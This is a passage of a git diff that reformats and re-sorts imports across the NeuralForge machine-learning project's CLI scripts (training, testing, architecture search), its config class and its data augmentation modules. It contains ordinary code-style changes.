self.progress_bar.setVisible(False)
self.predict_btn.setEnabled(True)
-
- self.main_prediction.setText(f'Error: {error_msg}')
- self.main_prediction.setStyleSheet('color: #f44336;')
-
+
+ self.main_prediction.setText(f"Error: {error_msg}")
+ self.main_prediction.setStyleSheet("color: #f44336;")
+
app = QApplication(sys.argv)
window = NeuralForgeGUI()
window.show()
sys.exit(app.exec())
-if __name__ == '__main__':
+
+if __name__ == "__main__":
main()
diff --git a/ML/src/python/neuralforge/cli/nas.py b/ML/src/python/neuralforge/cli/nas.py
index f380e130626..2360e7e374c 100644
--- a/ML/src/python/neuralforge/cli/nas.py
+++ b/ML/src/python/neuralforge/cli/nas.py
@@ -1,70 +1,77 @@
import argparse
+
import torch
-from neuralforge.nas.search_space import SearchSpace
-from neuralforge.nas.evolution import EvolutionarySearch
-from neuralforge.nas.evaluator import ProxyEvaluator
-from neuralforge.data.datasets import get_dataset
-from neuralforge.data.dataset import SyntheticDataset, DataLoaderBuilder
from neuralforge.config import Config
+from neuralforge.data.dataset import DataLoaderBuilder, SyntheticDataset
+from neuralforge.nas.evaluator import ProxyEvaluator
+from neuralforge.nas.evolution import EvolutionarySearch
+from neuralforge.nas.search_space import SearchSpace
+
def main():
parser = argparse.ArgumentParser(
- description='NeuralForge - Neural Architecture Search',
+ description="NeuralForge - Neural Architecture Search",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
neuralforge-nas --population 20 --generations 50
neuralforge-nas --dataset cifar10 --population 15 --generations 30
- """
+ """,
+ )
+
+ parser.add_argument(
+ "--dataset", type=str, default="synthetic", help="Dataset for evaluation"
+ )
+ parser.add_argument("--population", type=int, default=15, help="Population size")
+ parser.add_argument(
+ "--generations", type=int, default=20, help="Number of generations"
+ )
+ parser.add_argument(
+ "--mutation-rate", type=float, default=0.15, help="Mutation rate"
)
-
- parser.add_argument('--dataset', type=str, default='synthetic', help='Dataset for evaluation')
- parser.add_argument('--population', type=int, default=15, help='Population size')
- parser.add_argument('--generations', type=int, default=20, help='Number of generations')
- parser.add_argument('--mutation-rate', type=float, default=0.15, help='Mutation rate')
- parser.add_argument('--device', type=str, default='cuda' if torch.cuda.is_available() else 'cpu')
-
+ parser.add_argument(
+ "--device", type=str, default="cuda" if torch.cuda.is_available() else "cpu"
+ )
+
args = parser.parse_args()
-
+
config = Config()
config.device = args.device
config.nas_enabled = True
config.nas_population_size = args.population
config.nas_generations = args.generations
config.nas_mutation_rate = args.mutation_rate
-
- search_config = {
- 'num_layers': 15,
- 'num_blocks': 4
- }
-
+
+ search_config = {"num_layers": 15, "num_blocks": 4}
+
search_space = SearchSpace(search_config)
-
+
train_dataset = SyntheticDataset(num_samples=1000, num_classes=10)
val_dataset = SyntheticDataset(num_samples=200, num_classes=10)
-
+
loader_builder = DataLoaderBuilder(config)
train_loader = loader_builder.build_train_loader(train_dataset)
val_loader = loader_builder.build_val_loader(val_dataset)
-
+
evaluator = ProxyEvaluator(device=config.device)
-
+
evolution = EvolutionarySearch(
search_space=search_space,
evaluator=evaluator,
population_size=config.nas_population_size,
generations=config.nas_generations,
- mutation_rate=config.nas_mutation_rate
+ mutation_rate=config.nas_mutation_rate,
)
-
+
print("Starting Neural Architecture Search...")
best_architecture = evolution.search()
-
- print(f"\nBest Architecture Found:")
+
+ print("\nBest Architecture Found:")
print(f"Fitness: {best_architecture.fitness:.4f}")
print(f"Accuracy: {best_architecture.accuracy:.2f}%")
print(f"Parameters: {best_architecture.params:,}")
print(f"FLOPs: {best_architecture.flops:,}")
-if __name__ == '__main__':
+
+if __name__ == "__main__":
main()
diff --git a/ML/src/python/neuralforge/cli/test.py b/ML/src/python/neuralforge/cli/test.py
index 64acf1b6faf..73677c27901 100644
--- a/ML/src/python/neuralforge/cli/test.py
+++ b/ML/src/python/neuralforge/cli/test.py
@@ -1,123 +1,149 @@
import argparse
-import sys
import os
+import sys
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(__file__))))
+import numpy as np
import torch
import torch.nn.functional as F
-from torchvision import transforms
-from PIL import Image
-import numpy as np
-
from neuralforge.data.datasets import get_dataset, get_num_classes
from neuralforge.models.resnet import ResNet18
+from PIL import Image
+from torchvision import transforms
+
def main():
parser = argparse.ArgumentParser(
- description='NeuralForge - Test trained models',
+ description="NeuralForge - Test trained models",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
neuralforge-test --model models/best_model.pt --dataset cifar10 --mode random
neuralforge-test --dataset mnist --mode accuracy
neuralforge-test --dataset stl10 --image cat.jpg
- """
+ """,
)
-
- default_model = './models/best_model.pt'
- parser.add_argument('--model', type=str, default=default_model, help='Path to model checkpoint')
- parser.add_argument('--dataset', type=str, default='cifar10', help='Dataset name')
- parser.add_argument('--device', type=str, default='cuda' if torch.cuda.is_available() else 'cpu')
- parser.add_argument('--mode', type=str, default='random', choices=['random', 'accuracy', 'interactive'])
- parser.add_argument('--samples', type=int, default=10, help='Number of samples for random mode')
- parser.add_argument('--image', type=str, default=None, help='Path to image file')
-
+
+ default_model = "./models/best_model.pt"
+ parser.add_argument(
+ "--model", type=str, default=default_model, help="Path to model checkpoint"
+ )
+ parser.add_argument("--dataset", type=str, default="cifar10", help="Dataset name")
+ parser.add_argument(
+ "--device", type=str, default="cuda" if torch.cuda.is_available() else "cpu"
+ )
+ parser.add_argument(
+ "--mode",
+ type=str,
+ default="random",
+ choices=["random", "accuracy", "interactive"],
+ )
+ parser.add_argument(
+ "--samples", type=int, default=10, help="Number of samples for random mode"
+ )
+ parser.add_argument("--image", type=str, default=None, help="Path to image file")
+
args = parser.parse_args()
-
+
print("=" * 60)
print(" NeuralForge - Model Testing")
print("=" * 60)
print(f"Device: {args.device}")
-
+
dataset_aliases = {
- 'cifar-10': 'cifar10', 'stl-10': 'stl10', 'fashion-mnist': 'fashion_mnist',
- 'tiny-imagenet': 'tiny_imagenet', 'food-101': 'food101',
+ "cifar-10": "cifar10",
+ "stl-10": "stl10",
+ "fashion-mnist": "fashion_mnist",
+ "tiny-imagenet": "tiny_imagenet",
+ "food-101": "food101",
}
dataset_name = dataset_aliases.get(args.dataset.lower(), args.dataset.lower())
-
+
num_classes = get_num_classes(dataset_name)
model = ResNet18(num_classes=num_classes)
model = model.to(args.device)
-
+
if os.path.exists(args.model):
print(f"Loading model from: {args.model}")
- checkpoint = torch.load(args.model, map_location=args.device, weights_only=False)
- model.load_state_dict(checkpoint['model_state_dict'])
+ checkpoint = torch.load(
+ args.model, map_location=args.device, weights_only=False
+ )
+ model.load_state_dict(checkpoint["model_state_dict"])
print(f"Model loaded from epoch {checkpoint.get('epoch', 'Unknown')}")
else:
print(f"Warning: No model found at {args.model}")
return
-
+
model.eval()
-
- test_dataset = get_dataset(dataset_name, root='./data', train=False, download=True)
- classes = getattr(test_dataset, 'classes', [str(i) for i in range(num_classes)])
-
+
+ test_dataset = get_dataset(dataset_name, root="./data", train=False, download=True)
+ classes = getattr(test_dataset, "classes", [str(i) for i in range(num_classes)])
+
print(f"Dataset: {dataset_name} ({len(test_dataset.dataset)} test samples)")
print("=" * 60)
-
+
if args.image:
- image = Image.open(args.image).convert('RGB')
- transform = transforms.Compose([
- transforms.Resize(256),
- transforms.CenterCrop(224),
- transforms.ToTensor(),
- transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])
- ])
+ image = Image.open(args.image).convert("RGB")
+ transform = transforms.Compose(
+ [
+ transforms.Resize(256),
+ transforms.CenterCrop(224),
+ transforms.ToTensor(),
+ transforms.Normalize(
+ mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]
+ ),
+ ]
+ )
image_tensor = transform(image).unsqueeze(0).to(args.device)
-
+
with torch.no_grad():
outputs = model(image_tensor)
probabilities = F.softmax(outputs, dim=1)
top5_prob, top5_idx = torch.topk(probabilities, min(5, num_classes), dim=1)
-
+
print(f"\nPrediction for {args.image}:")
- print(f"Main: {classes[top5_idx[0][0].item()]} ({top5_prob[0][0].item()*100:.2f}%)")
+ print(
+ f"Main: {classes[top5_idx[0][0].item()]} ({top5_prob[0][0].item() * 100:.2f}%)"
+ )
print("\nTop-5:")
for i, (idx, prob) in enumerate(zip(top5_idx[0], top5_prob[0]), 1):
- print(f" {i}. {classes[idx.item()]:15s} {prob.item()*100:.2f}%")
-
- elif args.mode == 'random':
+ print(f" {i}. {classes[idx.item()]:15s} {prob.item() * 100:.2f}%")
+
+ elif args.mode == "random":
print(f"\nTesting {args.samples} random samples...")
print("-" * 60)
-
+
correct = 0
- indices = np.random.choice(len(test_dataset.dataset), args.samples, replace=False)
-
+ indices = np.random.choice(
+ len(test_dataset.dataset), args.samples, replace=False
+ )
+
for i, idx in enumerate(indices, 1):
image, label = test_dataset.dataset[idx]
-
+
with torch.no_grad():
image = image.unsqueeze(0).to(args.device)
outputs = model(image)
pred_class = outputs.argmax(1).item()
confidence = F.softmax(outputs, dim=1)[0][pred_class].item() * 100
-
+
is_correct = pred_class == label
correct += is_correct
status = "✓" if is_correct else "✗"
-
- print(f"{i:2d}. {status} True: {classes[label]:15s} | Pred: {classes[pred_class]:15s} | Conf: {confidence:.1f}%")
-
+
+ print(
+ f"{i:2d}. {status} True: {classes[label]:15s} | Pred: {classes[pred_class]:15s} | Conf: {confidence:.1f}%"
+ )
+
print("-" * 60)
- print(f"Accuracy: {correct/args.samples:.1%} ({correct}/{args.samples})")
-
- elif args.mode == 'accuracy':
+ print(f"Accuracy: {correct / args.samples:.1%} ({correct}/{args.samples})")
+
+ elif args.mode == "accuracy":
print("\nCalculating full test accuracy...")
correct = 0
total = 0
-
+
with torch.no_grad():
for image, label in test_dataset.dataset:
image = image.unsqueeze(0).to(args.device)
@@ -126,11 +152,12 @@ def main():
total += 1
if pred_class == label:
correct += 1
-
+
if total % 100 == 0:
- print(f"Processed {total}/{len(test_dataset.dataset)}...", end='\r')
-
+ print(f"Processed {total}/{len(test_dataset.dataset)}...", end="\r")
+
print(f"\nOverall Accuracy: {100.0 * correct / total:.2f}% ({correct}/{total})")
-if __name__ == '__main__':
+
+if __name__ == "__main__":
main()
diff --git a/ML/src/python/neuralforge/cli/train.py b/ML/src/python/neuralforge/cli/train.py
index 768644f4f06..0ca4100410a 100644
--- a/ML/src/python/neuralforge/cli/train.py
+++ b/ML/src/python/neuralforge/cli/train.py
@@ -1,19 +1,19 @@
import argparse
-import sys
-import torch
-import torch.nn as nn
import random
-import numpy as np
-from neuralforge.trainer import Trainer
+import numpy as np
+import torch
+import torch.nn as nn
from neuralforge.config import Config
+from neuralforge.data.dataset import DataLoaderBuilder, SyntheticDataset
from neuralforge.data.datasets import get_dataset, get_num_classes
-from neuralforge.data.dataset import SyntheticDataset, DataLoaderBuilder
from neuralforge.models.resnet import ResNet18
from neuralforge.optim.optimizers import AdamW
from neuralforge.optim.schedulers import CosineAnnealingWarmRestarts, OneCycleLR
+from neuralforge.trainer import Trainer
from neuralforge.utils.logger import Logger
+
def set_seed(seed):
random.seed(seed)
np.random.seed(seed)
@@ -22,30 +22,29 @@ def set_seed(seed):
torch.backends.cudnn.deterministic = True
torch.backends.cudnn.benchmark = False
+
def create_simple_model(num_classes=10):
return nn.Sequential(
nn.Conv2d(3, 32, 3, padding=1),
nn.BatchNorm2d(32),
nn.ReLU(inplace=True),
nn.MaxPool2d(2),
-
nn.Conv2d(32, 64, 3, padding=1),
nn.BatchNorm2d(64),
nn.ReLU(inplace=True),
nn.MaxPool2d(2),
-
nn.Conv2d(64, 128, 3, padding=1),
nn.BatchNorm2d(128),
nn.ReLU(inplace=True),
nn.AdaptiveAvgPool2d(1),
-
nn.Flatten(),
- nn.Linear(128, num_classes)
+ nn.Linear(128, num_classes),
)
+
def main():
parser = argparse.ArgumentParser(
- description='NeuralForge - Train neural networks with CUDA acceleration',
+ description="NeuralForge - Train neural networks with CUDA acceleration",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
@@ -53,32 +52,56 @@ def main():
neuralforge --dataset mnist --model simple --batch-size 64
neuralforge --dataset stl10 --model resnet18 --epochs 100 --lr 0.001
neuralforge --dataset tiny_imagenet --batch-size 128 --epochs 200
- """
+ """,
+ )
+
+ parser.add_argument("--config", type=str, default=None, help="Path to config file")
+ parser.add_argument(
+ "--model",
+ type=str,
+ default="simple",
+ choices=["simple", "resnet18", "efficientnet", "vit"],
+ help="Model architecture",
)
-
- parser.add_argument('--config', type=str, default=None, help='Path to config file')
- parser.add_argument('--model', type=str, default='simple',
- choices=['simple', 'resnet18', 'efficientnet', 'vit'],
- help='Model architecture')
- parser.add_argument('--dataset', type=str, default='synthetic',
- help='Dataset (cifar10, mnist, stl10, tiny_imagenet, etc.)')
- parser.add_argument('--batch-size', type=int, default=32, help='Batch size')
- parser.add_argument('--epochs', type=int, default=50, help='Number of epochs')
- parser.add_argument('--lr', type=float, default=0.001, help='Learning rate')
- parser.add_argument('--device', type=str, default='cuda' if torch.cuda.is_available() else 'cpu',
- help='Device (cuda/cpu)')
- parser.add_argument('--num-samples', type=int, default=5000, help='Number of synthetic samples')
- parser.add_argument('--num-classes', type=int, default=10, help='Number of classes (for synthetic)')
- parser.add_argument('--seed', type=int, default=42, help='Random seed')
- parser.add_argument('--optimizer', type=str, default='adamw',
- choices=['adamw', 'adam', 'sgd'],
- help='Optimizer')
- parser.add_argument('--scheduler', type=str, default='cosine',
- choices=['cosine', 'onecycle', 'none'],
- help='Learning rate scheduler')
-
+ parser.add_argument(
+ "--dataset",
+ type=str,
+ default="synthetic",
+ help="Dataset (cifar10, mnist, stl10, tiny_imagenet, etc.)",
+ )
+ parser.add_argument("--batch-size", type=int, default=32, help="Batch size")
+ parser.add_argument("--epochs", type=int, default=50, help="Number of epochs")
+ parser.add_argument("--lr", type=float, default=0.001, help="Learning rate")
+ parser.add_argument(
+ "--device",
+ type=str,
+ default="cuda" if torch.cuda.is_available() else "cpu",
+ help="Device (cuda/cpu)",
+ )
+ parser.add_argument(
+ "--num-samples", type=int, default=5000, help="Number of synthetic samples"
+ )
+ parser.add_argument(
+ "--num-classes", type=int, default=10, help="Number of classes (for synthetic)"
+ )
+ parser.add_argument("--seed", type=int, default=42, help="Random seed")
+ parser.add_argument(
+ "--optimizer",
+ type=str,
+ default="adamw",
+ choices=["adamw", "adam", "sgd"],
+ help="Optimizer",
+ )
+ parser.add_argument(
+ "--scheduler",
+ type=str,
+ default="cosine",
+ choices=["cosine", "onecycle", "none"],
+ help="Learning rate scheduler",
+ )
+
args = parser.parse_args()
-
+
if args.config:
config = Config.load(args.config)
else:
@@ -91,102 +114,134 @@ def main():
config.seed = args.seed
config.optimizer = args.optimizer
config.scheduler = args.scheduler
-
+
# Set paths relative to current working directory (not package directory)
import os
+
cwd = os.getcwd()
config.model_dir = os.path.join(cwd, "models")
config.log_dir = os.path.join(cwd, "logs")
config.data_path = os.path.join(cwd, "data")
-
+
set_seed(config.seed)
-
+
logger = Logger(config.log_dir, "training")
logger.info("=" * 80)
logger.info("NeuralForge Training Framework")
logger.info("=" * 80)
logger.info(f"Configuration:\n{config}")
-
+
dataset_aliases = {
- 'cifar-10': 'cifar10', 'cifar_10': 'cifar10',
- 'cifar-100': 'cifar100', 'cifar_100': 'cifar100',
- 'fashion-mnist': 'fashion_mnist', 'fashionmnist': 'fashion_mnist',
- 'stl-10': 'stl10', 'stl_10': 'stl10',
- 'tiny-imagenet': 'tiny_imagenet', 'tinyimagenet': 'tiny_imagenet',
- 'food-101': 'food101', 'food_101': 'food101',
- 'caltech-256': 'caltech256', 'caltech_256': 'caltech256',
- 'oxford-pets': 'oxford_pets', 'oxfordpets': 'oxford_pets',
+ "cifar-10": "cifar10",
+ "cifar_10": "cifar10",
+ "cifar-100": "cifar100",
+ "cifar_100": "cifar100",
+ "fashion-mnist": "fashion_mnist",
+ "fashionmnist": "fashion_mnist",
+ "stl-10": "stl10",
+ "stl_10": "stl10",
+ "tiny-imagenet": "tiny_imagenet",
+ "tinyimagenet": "tiny_imagenet",
+ "food-101": "food101",
+ "food_101": "food101",
+ "caltech-256": "caltech256",
+ "caltech_256": "caltech256",
+ "oxford-pets": "oxford_pets",
+ "oxfordpets": "oxford_pets",
}
-
+
dataset_name = dataset_aliases.get(args.dataset.lower(), args.dataset.lower())
-
- if dataset_name == 'synthetic':
+
+ if dataset_name == "synthetic":
logger.info("Creating synthetic dataset...")
train_dataset = SyntheticDataset(
num_samples=args.num_samples,
num_classes=config.num_classes,
image_size=config.image_size,
- channels=3
+ channels=3,
)
val_dataset = SyntheticDataset(
num_samples=args.num_samples // 5,
num_classes=config.num_classes,
image_size=config.image_size,
- channels=3
+ channels=3,
)
else:
logger.info(f"Downloading and loading {dataset_name} dataset...")
config.num_classes = get_num_classes(dataset_name)
-
- train_dataset = get_dataset(dataset_name, root=config.data_path, train=True, download=True)
- val_dataset = get_dataset(dataset_name, root=config.data_path, train=False, download=True)
-
- if dataset_name in ['mnist', 'fashion_mnist']:
+
+ train_dataset = get_dataset(
+ dataset_name, root=config.data_path, train=True, download=True
+ )
+ val_dataset = get_dataset(
+ dataset_name, root=config.data_path, train=False, download=True
+ )
+
+ if dataset_name in ["mnist", "fashion_mnist"]:
config.image_size = 28
- elif dataset_name in ['cifar10', 'cifar100']:
+ elif dataset_name in ["cifar10", "cifar100"]:
config.image_size = 32
- elif dataset_name == 'tiny_imagenet':
+ elif dataset_name == "tiny_imagenet":
config.image_size = 64
- elif dataset_name == 'stl10':
+ elif dataset_name == "stl10":
config.image_size = 96
- elif dataset_name in ['imagenet', 'food101', 'caltech256', 'oxford_pets']:
+ elif dataset_name in ["imagenet", "food101", "caltech256", "oxford_pets"]:
config.image_size = 224
-
+
loader_builder = DataLoaderBuilder(config)
train_loader = loader_builder.build_train_loader(train_dataset)
val_loader = loader_builder.build_val_loader(val_dataset)
-
+
logger.info(f"Train dataset size: {len(train_dataset)}")
logger.info(f"Validation dataset size: {len(val_dataset)}")
-
+
logger.info(f"Creating model: {args.model}")
- if args.model == 'simple':
+ if args.model == "simple":
model = create_simple_model(config.num_classes)
- elif args.model == 'resnet18':
+ elif args.model == "resnet18":
model = ResNet18(num_classes=config.num_classes)
else:
model = create_simple_model(config.num_classes)
-
+
logger.log_model_summary(model)
-
+
criterion = nn.CrossEntropyLoss()
-
- if config.optimizer.lower() == 'adamw':
- optimizer = AdamW(model.parameters(), lr=config.learning_rate, weight_decay=config.weight_decay)
- elif config.optimizer.lower() == 'adam':
- optimizer = torch.optim.Adam(model.parameters(), lr=config.learning_rate, weight_decay=config.weight_decay)
+
+ if config.optimizer.lower() == "adamw":
+ optimizer = AdamW(
+ model.parameters(),
+ lr=config.learning_rate,
+ weight_decay=config.weight_decay,
+ )
+ elif config.optimizer.lower() == "adam":
+ optimizer = torch.optim.Adam(
+ model.parameters(),
+ lr=config.learning_rate,
+ weight_decay=config.weight_decay,
+ )
else:
- optimizer = torch.optim.SGD(model.parameters(), lr=config.learning_rate, momentum=0.9, weight_decay=config.weight_decay)
-
+ optimizer = torch.optim.SGD(
+ model.parameters(),
+ lr=config.learning_rate,
+ momentum=0.9,
+ weight_decay=config.weight_decay,
+ )
+
scheduler = None
- if config.scheduler == 'cosine':
- scheduler = CosineAnnealingWarmRestarts(optimizer, T_0=10, T_mult=2, eta_min=1e-6)
- elif config.scheduler == 'onecycle':
- scheduler = OneCycleLR(optimizer, max_lr=config.learning_rate, total_steps=config.epochs * len(train_loader))
-
+ if config.scheduler == "cosine":
+ scheduler = CosineAnnealingWarmRestarts(
+ optimizer, T_0=10, T_mult=2, eta_min=1e-6
+ )
+ elif config.scheduler == "onecycle":
+ scheduler = OneCycleLR(
+ optimizer,
+ max_lr=config.learning_rate,
+ total_steps=config.epochs * len(train_loader),
+ )
+
logger.info(f"Optimizer: {config.optimizer}")
logger.info(f"Scheduler: {config.scheduler}")
-
+
trainer = Trainer(
model=model,
train_loader=train_loader,
@@ -195,14 +250,15 @@ def main():
criterion=criterion,
config=config,
scheduler=scheduler,
- device=config.device
+ device=config.device,
)
-
+
logger.info("Starting training...")
trainer.train()
-
+
logger.info("Training completed successfully!")
logger.info(f"Best validation loss: {trainer.best_val_loss:.4f}")
-if __name__ == '__main__':
+
+if __name__ == "__main__":
main()
diff --git a/ML/src/python/neuralforge/config.py b/ML/src/python/neuralforge/config.py
index 8c8756bfe21..8f9b026996b 100644
--- a/ML/src/python/neuralforge/config.py
+++ b/ML/src/python/neuralforge/config.py
@@ -1,7 +1,7 @@
import json
import os
-from typing import Any, Dict, Optional
-from dataclasses import dataclass, asdict
+from dataclasses import asdict, dataclass
+
@dataclass
class Config:
@@ -14,42 +14,42 @@ class Config:
scheduler: str = "cosine"
warmup_epochs: int = 5
grad_clip: float = 1.0
-
+
data_path: str = "./data"
num_workers: int = 4
pin_memory: bool = True
-
+
model_dir: str = "./models"
log_dir: str = "./logs"
checkpoint_freq: int = 10
-
+
use_amp: bool = True
device: str = "cuda"
seed: int = 42
-
+
nas_enabled: bool = False
nas_population_size: int = 20
nas_generations: int = 50
nas_mutation_rate: float = 0.1
-
+
image_size: int = 224
num_classes: int = 1000
-
+
def save(self, path: str):
os.makedirs(os.path.dirname(path), exist_ok=True)
- with open(path, 'w') as f:
+ with open(path, "w") as f:
json.dump(asdict(self), f, indent=2)
-
+
@classmethod
- def load(cls, path: str) -> 'Config':
- with open(path, 'r') as f:
+ def load(cls, path: str) -> "Config":
+ with open(path, "r") as f:
data = json.load(f)
return cls(**data)
-
+
def update(self, **kwargs):
for key, value in kwargs.items():
if hasattr(self, key):
setattr(self, key, value)
-
+
def __str__(self) -> str:
- return json.dumps(asdict(self), indent=2)
\ No newline at end of file
+ return json.dumps(asdict(self), indent=2)
diff --git a/ML/src/python/neuralforge/data/__init__.py b/ML/src/python/neuralforge/data/__init__.py
index 8cc8b5d9ced..f4f23b1dcfe 100644
--- a/ML/src/python/neuralforge/data/__init__.py
+++ b/ML/src/python/neuralforge/data/__init__.py
@@ -1,15 +1,15 @@
+from .augmentation import *
from .dataset import *
from .datasets import *
from .transforms import *
-from .augmentation import *
__all__ = [
- 'ImageDataset',
- 'DataLoaderBuilder',
- 'get_dataset',
- 'get_num_classes',
- 'get_transforms',
- 'RandAugment',
- 'CutMix',
- 'MixUp',
+ "ImageDataset",
+ "DataLoaderBuilder",
+ "get_dataset",
+ "get_num_classes",
+ "get_transforms",
+ "RandAugment",
+ "CutMix",
+ "MixUp",
]
diff --git a/ML/src/python/neuralforge/data/augmentation.py b/ML/src/python/neuralforge/data/augmentation.py
index ed8cf5cd9a9..e7238f4a0e9 100644
--- a/ML/src/python/neuralforge/data/augmentation.py
+++ b/ML/src/python/neuralforge/data/augmentation.py
@@ -1,8 +1,9 @@
-import torch
import random
+
import numpy as np
+import torch
from PIL import Image, ImageEnhance, ImageOps
-from typing import List, Tuple
+
class RandAugment:
def __init__(self, n: int = 2, m: int = 9):
@@ -24,145 +25,150 @@ def __init__(self, n: int = 2, m: int = 9):
(self.translate_x, 0, 0.3),
(self.translate_y, 0, 0.3),
]
-
+
def __call__(self, img):
ops = random.choices(self.augment_list, k=self.n)
for op, minval, maxval in ops:
val = (float(self.m) / 30) * float(maxval - minval) + minval
img = op(img, val)
return img
-
+
@staticmethod
def auto_contrast(img, _):
return ImageOps.autocontrast(img)
-
+
@staticmethod
def equalize(img, _):
return ImageOps.equalize(img)
-
+
@staticmethod
def invert(img, _):
return ImageOps.invert(img)
-
+
@staticmethod
def rotate(img, magnitude):
return img.rotate(magnitude)
-
+
@staticmethod
def posterize(img, magnitude):
magnitude = int(magnitude)
return ImageOps.posterize(img, magnitude)
-
+
@staticmethod
def solarize(img, magnitude):
return ImageOps.solarize(img, int(magnitude))
-
+
@staticmethod
def color(img, magnitude):
return ImageEnhance.Color(img).enhance(magnitude)
-
+
@staticmethod
def contrast(img, magnitude):
return ImageEnhance.Contrast(img).enhance(magnitude)
-
+
@staticmethod
def brightness(img, magnitude):
return ImageEnhance.Brightness(img).enhance(magnitude)
-
+
@staticmethod
def sharpness(img, magnitude):
return ImageEnhance.Sharpness(img).enhance(magnitude)
-
+
@staticmethod
def shear_x(img, magnitude):
return img.transform(img.size, Image.AFFINE, (1, magnitude, 0, 0, 1, 0))
-
+
@staticmethod
def shear_y(img, magnitude):
return img.transform(img.size, Image.AFFINE, (1, 0, 0, magnitude, 1, 0))
-
+
@staticmethod
def translate_x(img, magnitude):
magnitude = magnitude * img.size[0]
return img.transform(img.size, Image.AFFINE, (1, 0, magnitude, 0, 1, 0))
-
+
@staticmethod
def translate_y(img, magnitude):
magnitude = magnitude * img.size[1]
return img.transform(img.size, Image.AFFINE, (1, 0, 0, 0, 1, magnitude))
+
class MixUp:
def __init__(self, alpha: float = 1.0, num_classes: int = 1000):
self.alpha = alpha
self.num_classes = num_classes
-
+
def __call__(self, images, labels):
batch_size = images.size(0)
-
+
if self.alpha > 0:
lam = np.random.beta(self.alpha, self.alpha)
else:
lam = 1
-
+
index = torch.randperm(batch_size).to(images.device)
-
+
mixed_images = lam * images + (1 - lam) * images[index]
labels_a = labels
labels_b = labels[index]
-
+
return mixed_images, labels_a, labels_b, lam
+
class CutMix:
def __init__(self, alpha: float = 1.0, num_classes: int = 1000):
self.alpha = alpha
self.num_classes = num_classes
-
+
def __call__(self, images, labels):
batch_size = images.size(0)
-
+
if self.alpha > 0:
lam = np.random.beta(self.alpha, self.alpha)
else:
lam = 1
-
+
index = torch.randperm(batch_size).to(images.device)
-
+
_, _, H, W = images.shape
cut_rat = np.sqrt(1.0 - lam)
cut_w = int(W * cut_rat)
cut_h = int(H * cut_rat)
-
+
cx = np.random.randint(W)
cy = np.random.randint(H)
-
+
bbx1 = np.clip(cx - cut_w // 2, 0, W)
bby1 = np.clip(cy - cut_h // 2, 0, H)
bbx2 = np.clip(cx + cut_w // 2, 0, W)
bby2 = np.clip(cy + cut_h // 2, 0, H)
-
+
images[:, :, bby1:bby2, bbx1:bbx2] = images[index, :, bby1:bby2, bbx1:bbx2]
-
+
lam = 1 - ((bbx2 - bbx1) * (bby2 - bby1) / (W * H))
-
+
return images, labels, labels[index], lam
+
class GridMask:
- def __init__(self, d1: int = 96, d2: int = 224, rotate: float = 1, ratio: float = 0.5):
+ def __init__(
+ self, d1: int = 96, d2: int = 224, rotate: float = 1, ratio: float = 0.5
+ ):
self.d1 = d1
self.d2 = d2
self.rotate = rotate
self.ratio = ratio
-
+
def __call__(self, img):
h, w = img.shape[-2:]
-
+
d = np.random.randint(self.d1, self.d2)
l = int(d * self.ratio + 0.5)
-
+
mask = np.ones((h, w), np.float32)
st_h = np.random.randint(d)
st_w = np.random.randint(d)
-
+
for i in range(h // d + 1):
s_h = d * i + st_h
t_h = min(s_h + l, h)
@@ -170,40 +176,47 @@ def __call__(self, img):
s_w = d * j + st_w
t_w = min(s_w + l, w)
mask[s_h:t_h, s_w:t_w] = 0
-
+
mask = torch.from_numpy(mask).to(img.device)
img = img * mask
-
+
return img
+
class RandomErasing:
- def __init__(self, probability: float = 0.5, sl: float = 0.02, sh: float = 0.4, r1: float = 0.3):
+ def __init__(
+ self,
+ probability: float = 0.5,
+ sl: float = 0.02,
+ sh: float = 0.4,
+ r1: float = 0.3,
+ ):
self.probability = probability
self.sl = sl
self.sh = sh
self.r1 = r1
-
+
def __call__(self, img):
if random.uniform(0, 1) >= self.probability:
return img
-
+
for attempt in range(100):
area = img.size()[1] * img.size()[2]
-
+
target_area = random.uniform(self.sl, self.sh) * area
aspect_ratio = random.uniform(self.r1, 1 / self.r1)
-
+
h = int(round(np.sqrt(target_area * aspect_ratio)))
w = int(round(np.sqrt(target_area / aspect_ratio)))
-
+
if w < img.size()[2] and h < img.size()[1]:
x1 = random.randint(0, img.size()[1] - h)
y1 = random.randint(0, img.size()[2] - w)
-
- img[0, x1:x1 + h, y1:y1 + w] = random.uniform(0, 1)
- img[1, x1:x1 + h, y1:y1 + w] = random.uniform(0, 1)
- img[2, x1:x1 + h, y1:y1 + w] = random.uniform(0, 1)
-
+
+ img[0, x1 : x1 + h, y1 : y1 + w] = random.uniform(0, 1)
+ img[1, x1 : x1 + h, y1 : y1 + w] = random.uniform(0, 1)
+ img[2, x1 : x1 + h, y1 : y1 + w] = random.uniform(0, 1)
+
return img
-
+
return img
diff --git a/ML/src/python/neuralforge/data/dataset.py b/ML/src/python/neuralforge/data/dataset.py
index 777ee501cda..0aabbaf114c 100644
--- a/ML/src/python/neuralforge/data/dataset.py
+++ b/ML/src/python/neuralforge/data/dataset.py
@@ -1,10 +1,12 @@
-import torch
-from torch.utils.data import Dataset, DataLoader
-from torchvision import datasets, transforms
-from PIL import Image
import os
-from typing import Optional, Callable, Tuple, List
+from typing import Callable, List, Optional, Tuple
+
import numpy as np
+import torch
+from PIL import Image
+from torch.utils.data import DataLoader, Dataset
+from torchvision import transforms
+
class ImageDataset(Dataset):
def __init__(
@@ -12,94 +14,102 @@ def __init__(
root: str,
transform: Optional[Callable] = None,
target_transform: Optional[Callable] = None,
- split: str = 'train'
+ split: str = "train",
):
self.root = root
self.transform = transform
self.target_transform = target_transform
self.split = split
-
+
self.samples = []
self.class_to_idx = {}
self._load_dataset()
-
+
def _load_dataset(self):
split_dir = os.path.join(self.root, self.split)
-
+
if not os.path.exists(split_dir):
raise FileNotFoundError(f"Dataset directory not found: {split_dir}")
-
- classes = sorted([d for d in os.listdir(split_dir)
- if os.path.isdir(os.path.join(split_dir, d))])
-
+
+ classes = sorted(
+ [
+ d
+ for d in os.listdir(split_dir)
+ if os.path.isdir(os.path.join(split_dir, d))
+ ]
+ )
+
self.class_to_idx = {cls_name: idx for idx, cls_name in enumerate(classes)}
-
+
for class_name in classes:
class_dir = os.path.join(split_dir, class_name)
